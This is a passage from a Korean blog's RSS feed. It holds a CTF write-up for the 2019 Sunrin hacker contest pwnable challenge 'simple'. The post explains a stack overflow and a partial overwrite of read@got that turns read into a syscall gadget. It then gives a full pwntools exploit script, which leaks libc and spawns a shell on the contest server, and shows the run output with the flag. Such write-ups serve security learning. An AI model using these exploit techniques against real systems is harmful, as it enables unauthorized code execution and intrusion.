      <comments>https://baobob1024.tistory.com/176#entry176comment</comments>
      <pubDate>Sun, 22 Dec 2019 04:08:13 +0900</pubDate>
    </item>
    <item>
      <title>[선린고등해커&amp;nbsp;2019]&amp;nbsp;simple&amp;nbsp;풀이</title>
      <link>https://baobob1024.tistory.com/175</link>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;only read&lt;/li&gt;
&lt;li&gt;rax control&lt;/li&gt;
&lt;li&gt;read내부 syscall 이용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Analysis&lt;/h3&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-30h]

  alarm(0x3Cu);
  read(0, &amp;amp;buf, 0x400uLL);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;stack overflow가 발생한다.&lt;/p&gt;
&lt;p&gt;하지만 writeable한 함수는 없고,&lt;/p&gt;
&lt;p&gt;오직 read함수만 있기때문에 일반적인 rop로는 풀이가 불가능하다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Use syscall(in libc_read)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;따라서 이 문제를 풀기 위해서는 read내부에 있는 syscall을 이용해야 한다.&lt;/p&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;ba0bab➤  disas read
Dump of assembler code for function read:
   0x00007ffff7b04250  &amp;lt;+0&amp;gt;:    cmp    DWORD PTR [rip+0x2d24e9],0x0        # 0x7ffff7dd6740 &amp;lt;__libc_multiple_threads&amp;gt;
   0x00007ffff7b04257  &amp;lt;+7&amp;gt;:    jne    0x7ffff7b04269 &amp;lt;read+25&amp;gt;
   0x00007ffff7b04259  &amp;lt;+0&amp;gt;:    mov    eax,0x0
   0x00007ffff7b0425e  &amp;lt;+5&amp;gt;:    syscall 
=&amp;gt; 0x00007ffff7b04260  &amp;lt;+7&amp;gt;:    cmp    rax,0xfffffffffffff001
   0x00007ffff7b04266 &amp;lt;+13&amp;gt;:    jae    0x7ffff7b04299 &amp;lt;read+73&amp;gt;
   0x00007ffff7b04268 &amp;lt;+15&amp;gt;:    ret    
   0x00007ffff7b04269 &amp;lt;+25&amp;gt;:    sub    rsp,0x8
   0x00007ffff7b0426d &amp;lt;+29&amp;gt;:    call   0x7ffff7b220d0 &amp;lt;__libc_enable_asynccancel&amp;gt;
   0x00007ffff7b04272 &amp;lt;+34&amp;gt;:    mov    QWORD PTR [rsp],rax
   0x00007ffff7b04276 &amp;lt;+38&amp;gt;:    mov    eax,0x0
   0x00007ffff7b0427b &amp;lt;+43&amp;gt;:    syscall 
   0x00007ffff7b0427d &amp;lt;+45&amp;gt;:    mov    rdi,QWORD PTR [rsp]
   0x00007ffff7b04281 &amp;lt;+49&amp;gt;:    mov    rdx,rax
   0x00007ffff7b04284 &amp;lt;+52&amp;gt;:    call   0x7ffff7b22130 &amp;lt;__libc_disable_asynccancel&amp;gt;
   0x00007ffff7b04289 &amp;lt;+57&amp;gt;:    mov    rax,rdx
   0x00007ffff7b0428c &amp;lt;+60&amp;gt;:    add    rsp,0x8
   0x00007ffff7b04290 &amp;lt;+64&amp;gt;:    cmp    rax,0xfffffffffffff001
   0x00007ffff7b04296 &amp;lt;+70&amp;gt;:    jae    0x7ffff7b04299 &amp;lt;read+73&amp;gt;
   0x00007ffff7b04298 &amp;lt;+72&amp;gt;:    ret    
   0x00007ffff7b04299 &amp;lt;+73&amp;gt;:    mov    rcx,QWORD PTR [rip+0x2ccbd8]        # 0x7ffff7dd0e78
   0x00007ffff7b042a0 &amp;lt;+80&amp;gt;:    neg    eax
   0x00007ffff7b042a2 &amp;lt;+82&amp;gt;:    mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7b042a5 &amp;lt;+85&amp;gt;:    or     rax,0xffffffffffffffff
   0x00007ffff7b042a9 &amp;lt;+89&amp;gt;:    ret    &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;read 어셈 코드이다.&lt;/p&gt;
&lt;p&gt;보면 read + 5가 syscall을 나타내는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;read@got안에 libc read주소가 있으니 마지막 1byte를 0x50이 아닌 0x5e로 overwrite하게 되면&lt;/p&gt;
&lt;p&gt;read@plt를 호출했을 때 syscall을 부를 수 있게 된다!&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;syscall 불러서 뭐하지?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;rax를 바로 59로 control할 수 있다면 execve()를 호출 할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/bin/sh\x00&lt;/code&gt;를 bss에 적어두고 execve()호출하면 끝이지만,,(이 문제는 이렇게 안품)&lt;/p&gt;
&lt;p&gt;이 문제에선 &lt;code&gt;pop rax&lt;/code&gt;와 같은 가젯은 없었다. (trust 2018 start, hackctf에 있는 문제와 조금 달랐던 점.)&lt;/p&gt;
&lt;p&gt;그래서 어떻게 rax를 컨트롤할지 생각하다가&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;팀마다 힌트 준다길래 물어봤더니 read로 입력받는 문자열의 길이로&lt;/p&gt;
&lt;p&gt;rax를 control해야 함을 알고&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;0x50이 아닌 0x5e로 1byte overwrite할 때 rax가 1이므로 이 때 syscall을 호출하면&lt;/p&gt;
&lt;p&gt;sys_write가 호출되고, 이를 사용하여 libc_base를 leak해서 oneshot으로 풀었다.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;from pwn import *

#s = process(&quot;./problem&quot;)
s = remote(&quot;34.85.27.24&quot;, 7777)
libc = ELF(&quot;libc.so.6&quot;)
e = ELF(&quot;problem&quot;)
context.log_level = 'debug'

prdi = 0x400603
prsi_r15 = 0x400601

payload = &quot;A&quot;*0x30 + &quot;BBBBBBBB&quot;

payload += p64(prsi_r15)
payload += p64(e.got['read'])
payload += p64(0)
payload += p64(e.plt['read'])

payload += p64(prdi)
payload += p64(1)
payload += p64(prsi_r15)
payload += p64(e.got['read'])
payload += p64(0)
payload += p64(e.plt['read'])

payload += p64(e.symbols['main'])

print(len(payload))
s.send(payload)
s.send('\x5e')

read = u64(s.recv(6)+&quot;\x00\x00&quot;)
libc_base = read - 0xf7250-0xe
magic = libc_base + 0x4526a

print(hex(read))
print(hex(libc_base))

payload = &quot;A&quot;*0x30+&quot;BBBBBBBB&quot;
payload += p64(magic)
s.send(payload)
s.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;elixir&quot;&gt;&lt;code&gt;root@ubuntu:~/hacking/ctf/hshacker2/pwn/simple# python exploit.py 
[+] Opening connection to 34.85.27.24 on port 7777: Done
[*] '/root/hacking/ctf/hshacker2/pwn/simple/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/root/hacking/ctf/hshacker2/pwn/simple/problem'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
144
0x7f44f592725e
0x7f44f5830000
[*] Switching to interactive mode
$ cat flag
FLAG{HINA_Plz_Make_The_World_Bright}
$  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>pwnable/CTF write-up</category>
      <category>hacking</category>
      <category>pwnable</category>
      <author>ba0bab</author>
      <guid isPermaLink="true">https://baobob1024.tistory.com/175</guid>
      <comments>https://baobob1024.tistory.com/175#entry175comment</comments>
      <pubDate>Sun, 1 Dec 2019 16:17:20 +0900</pubDate>
    </item>
  </channel>
</rss>